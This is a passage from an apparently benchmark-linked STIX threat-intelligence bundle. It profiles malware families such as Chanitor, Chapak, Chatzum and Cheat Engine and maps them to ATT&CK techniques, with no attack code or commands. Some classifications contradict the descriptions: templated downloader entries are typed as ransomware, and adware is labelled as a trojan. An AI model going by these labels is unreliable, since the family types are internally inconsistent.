      "spec_version": "2.1",
      "id": "malware--faaefc15-8e4b-5c2b-ac81-f35f067ce71b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cgmu",
      "description": "Trojan:Win32/Cgmu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cgmu</b><br>To an end-user, a Cgmu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cgmu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cgmu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cgmu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cgmu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cgmu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cgmu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea2ec472-a136-5647-ac4c-2a76d242497c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faaefc15-8e4b-5c2b-ac81-f35f067ce71b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cgmu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73ad5d55-8c16-5922-8e6e-c1da673ac61d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faaefc15-8e4b-5c2b-ac81-f35f067ce71b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cgmu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a773d44a-b8ac-5f4b-9eb8-23e4d36d72b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faaefc15-8e4b-5c2b-ac81-f35f067ce71b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cgmu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fda1c80-b7b0-5d4e-a3a5-2db3d3bf3d51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faaefc15-8e4b-5c2b-ac81-f35f067ce71b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cgmu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36dd17dd-9cbf-546c-85ef-fe5810021f26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faaefc15-8e4b-5c2b-ac81-f35f067ce71b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cgmu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d4ea3ad-df9c-5f76-9adf-1b2be41d88d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chanitor",
      "description": "Trojan:Win32/Chanitor (also widely tracked as **Hancitor**) is a notorious, highly active trojan downloader. Its sole purpose is to serve as the initial infection vector, bypassing endpoint security to secretly download and install highly destructive secondary payloads, most commonly major ransomware families (like Cuba or Egregor) and advanced information stealers (like FickerStealer or Pony).<br><br><b>Understanding Chanitor (Hancitor Downloader)</b><br>To an end-user, Chanitor execution often looks like a failed attempt to open a document. For a security analyst, a Chanitor infection is a critical, time-sensitive emergency. It is an 'Initial Access Broker' tool. If Chanitor is detected, it is almost certain that a severe ransomware deployment or data exfiltration event is imminent if the C2 communication is not severed immediately.<br><br><b>Execution and Evasion Strategies</b><br>Chanitor is distributed via massive, high-volume malspam campaigns (`T1566.001`), often using DocuSign, invoice, or fax themes. The attached Word documents contain malicious macros (`T1059.005`) that, when enabled by the user, extract the Chanitor DLL and execute it using `rundll32.exe` (`T1218.011`). Once running in memory, Chanitor profiles the system and immediately initiates encrypted communications (often HTTPS or custom protocols) with its C2 infrastructure (`T1105`) to fetch the next-stage payloads. It frequently utilizes Process Injection (`T1055`) to hide its downloading activity inside legitimate Windows processes like `svchost.exe`.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include `WINWORD.EXE` spawning suspicious child processes, particularly `rundll32.exe` executing a randomly named DLL from the `%AppData%` or `%Temp%` directories. Network IoCs are critical: look for outbound connections to hardcoded, often newly registered, C2 IP addresses. The presence of secondary payloads (like Cobalt Strike beacons or known ransomware encryptors) is the ultimate, albeit late, IoC. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chanitor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chanitor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a9e7bb8-e57b-591c-b229-e83723ca42d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d4ea3ad-df9c-5f76-9adf-1b2be41d88d4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chanitor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--e8a716be-4ab8-579e-95cd-cf3d09459cfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1218.011: System Binary Proxy Execution: Rundll32",
      "description": "MITRE ATT&CK Technique T1218.011 (System Binary Proxy Execution: Rundll32) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1218.011",
          "url": "https://attack.mitre.org/techniques/T1218/011/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d70ab6f-63df-5b0d-b846-fdbb3c49b656",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d4ea3ad-df9c-5f76-9adf-1b2be41d88d4",
      "target_ref": "attack-pattern--e8a716be-4ab8-579e-95cd-cf3d09459cfc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chanitor exhibits technique T1218.011 (System Binary Proxy Execution: Rundll32)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f164b769-a4aa-542a-bd11-fbc658171c9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d4ea3ad-df9c-5f76-9adf-1b2be41d88d4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chanitor exhibits technique T1105 (Ingress Tool Transfer (Downloading ransomware/beacons))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d0a3330-57dd-5535-b8a7-7540e70caddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d4ea3ad-df9c-5f76-9adf-1b2be41d88d4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chanitor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chapak",
      "description": "TrojanDownloader:Win32/Chapak (widely cataloged across threat telemetry as Trojan.Chapak, Win32/Chapak, or Downloader.Chapak) is a high-volume, multi-stage trojan downloader engineered to establish covert persistence on Windows endpoints and download auxiliary malicious binaries. Propagated through malspam campaigns containing weaponized Microsoft Office documents, malicious PDF exploits, and trojanized utility bundles, Chapak initiates an evasive multi-step staging sequence. It queries system locale configurations, inspects CPU hypervisor artifacts to bypass sandbox detonation chambers, and resolves Win32 API functions dynamically. Once an authentic execution environment is verified, Chapak connects via encrypted HTTP GET/POST channels to remote command-and-control servers, downloading and executing secondary crimeware payloads including banking stealers, remote access trojans (RATs), and ransomware droppers directly into memory or staging directories. (Observed samples in benchmark: 2,254)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Chapak",
        "TrojanDownloader:Win32/Chapak",
        "Trojan.Chapak",
        "Win32/Chapak",
        "Downloader.Chapak",
        "Trojan.Win32.Chapak",
        "Chapak Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chapak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chapak"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4220804-b734-5ad1-ab5c-d4b14296a04c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chapak exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bcd38b5-b806-5656-b5b5-a90722fbcfa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chapak exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--101a1b63-25e7-5ea0-9215-5260b6b38464",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chapak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ca0b759-8b1f-5831-9b28-6444b3087364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chapak exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3559c7c-4522-5a3a-9d20-6c87809522b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chapak exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3ee2973-6bd7-5ebe-94e0-d34b0694abcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d31a04f-2308-5176-9228-4235e7067e70",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chapak exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fa4cf2f6-8b0a-5bf1-859a-ff74bf9c66da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chatzum",
      "description": "Adware:Win32/Chatzum is an aggressive Potentially Unwanted Program (PUA) and adware family, functioning primarily as a **Browser Hijacker**. Its core objective is to silently install rogue browser extensions, intercept web traffic, inject intrusive advertisements, and forcibly redirect a user's search queries to affiliated, low-reputation search engines to generate illicit pay-per-click revenue.<br><br><b>Understanding Chatzum Adware</b><br>To an end-user, a Chatzum infection is highly disruptive. Their familiar Google or Bing homepage is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Chatzum is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites or disguised as legitimate browser toolbars. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries and visited URLs, sending this telemetry back to the adware operators to serve highly targeted injected advertisements and manipulate search engine results.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Chatzum extensions and the unauthorized modification of browser registry keys (`HKLM\\SOFTWARE\\Policies\\Google\\Chrome\\ExtensionInstallForcelist`). (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chatzum",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chatzum"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--577cb372-f57b-56b8-9ca3-b9ed58f69272",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4cf2f6-8b0a-5bf1-859a-ff74bf9c66da",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chatzum exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a21b31e7-3554-54cd-b295-b96a16ba01e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4cf2f6-8b0a-5bf1-859a-ff74bf9c66da",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chatzum exhibits technique T1176 (Browser Extensions (BHO / Toolbar installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--836fc9b0-8a8e-530a-b961-cb3e1c567c1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4cf2f6-8b0a-5bf1-859a-ff74bf9c66da",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chatzum exhibits technique T1185 (Browser Session Hijacking (Search redirection and ad injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d824ae44-2aa2-50d7-891c-932125752df2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4cf2f6-8b0a-5bf1-859a-ff74bf9c66da",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chatzum exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac6feadb-9854-5365-bb4e-a4dc780a3b44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cheatengine",
      "description": "CheatEngine (cataloged across enterprise endpoint security solutions as HackTool:Win32/CheatEngine, PUA:Win32/CheatEngine, and Riskware.CheatEngine) is a widely recognized open-source memory scanner, disassembler, and runtime debugger created by Eric Heijnen ('Dark Byte'). Designed primarily to modify single-player PC games by altering runtime variables (such as health, currency, or timers), Cheat Engine utilizes a kernel-mode driver (dbk64.sys) to hook running process memory, inject custom code, and bypass standard memory protections. While the utility has legitimate applications in reverse engineering and security research, mainstream antivirus vendors classify it as a HackTool and Potentially Unwanted Application (PUA) due to its aggressive memory-patching capabilities and the frequent inclusion of third-party adware bundlers in official installers. Furthermore, pre-compiled game trainers and unauthorized cracks distributed across gaming forums frequently repackage Cheat Engine code with infostealers and cryptocurrency miners, presenting notable enterprise risk. (Observed samples in benchmark: 175)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/CheatEngine",
        "PUA:Win32/CheatEngine",
        "Riskware.CheatEngine",
        "Tool:Win32/CheatEngine",
        "Cheat Engine"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cheatengine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cheatengine"
        }
      ],
      "labels": [
        "pua_tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f84235f-4b9c-58a4-a72c-7531ad071efb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6feadb-9854-5365-bb4e-a4dc780a3b44",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cheatengine exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bab01647-c232-5353-8380-2d7467e2cc8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6feadb-9854-5365-bb4e-a4dc780a3b44",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cheatengine exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99676188-1f8c-5e9c-9c5e-b21f046120e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6feadb-9854-5365-bb4e-a4dc780a3b44",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cheatengine exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe1b087f-02da-5cb9-9ca8-882e44af5f63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6feadb-9854-5365-bb4e-a4dc780a3b44",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cheatengine exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--439a283d-fe3f-589a-a158-9115f4a8f7a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6feadb-9854-5365-bb4e-a4dc780a3b44",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cheatengine exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f7d2d7e-c911-50b0-88c2-6a324d8ca888",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chekafev",
      "description": "Trojan:Win32/Chekafev is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Chekafev</b><br>To an end-user, a Chekafev infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Chekafev is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Chekafev is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Chekafev frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Chekafev reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chekafev",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chekafev"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d32e956-5bc0-54e6-aba6-1770acfc1de0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7d2d7e-c911-50b0-88c2-6a324d8ca888",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chekafev exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc08fe5c-89bc-5e1f-9ab7-896dbf7dbf09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7d2d7e-c911-50b0-88c2-6a324d8ca888",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chekafev exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63bb2d61-0dd4-53fc-a5f8-0f049c623f50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7d2d7e-c911-50b0-88c2-6a324d8ca888",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chekafev exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b83fd7f8-3ef2-51ba-940e-866d93e20ba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7d2d7e-c911-50b0-88c2-6a324d8ca888",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chekafev exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cb9c400-dd77-54b6-9ef5-5dfe742f3d51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7d2d7e-c911-50b0-88c2-6a324d8ca888",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chekafev exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47b4bc91-8cc9-5060-944a-f42e24ffabef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chepdu",
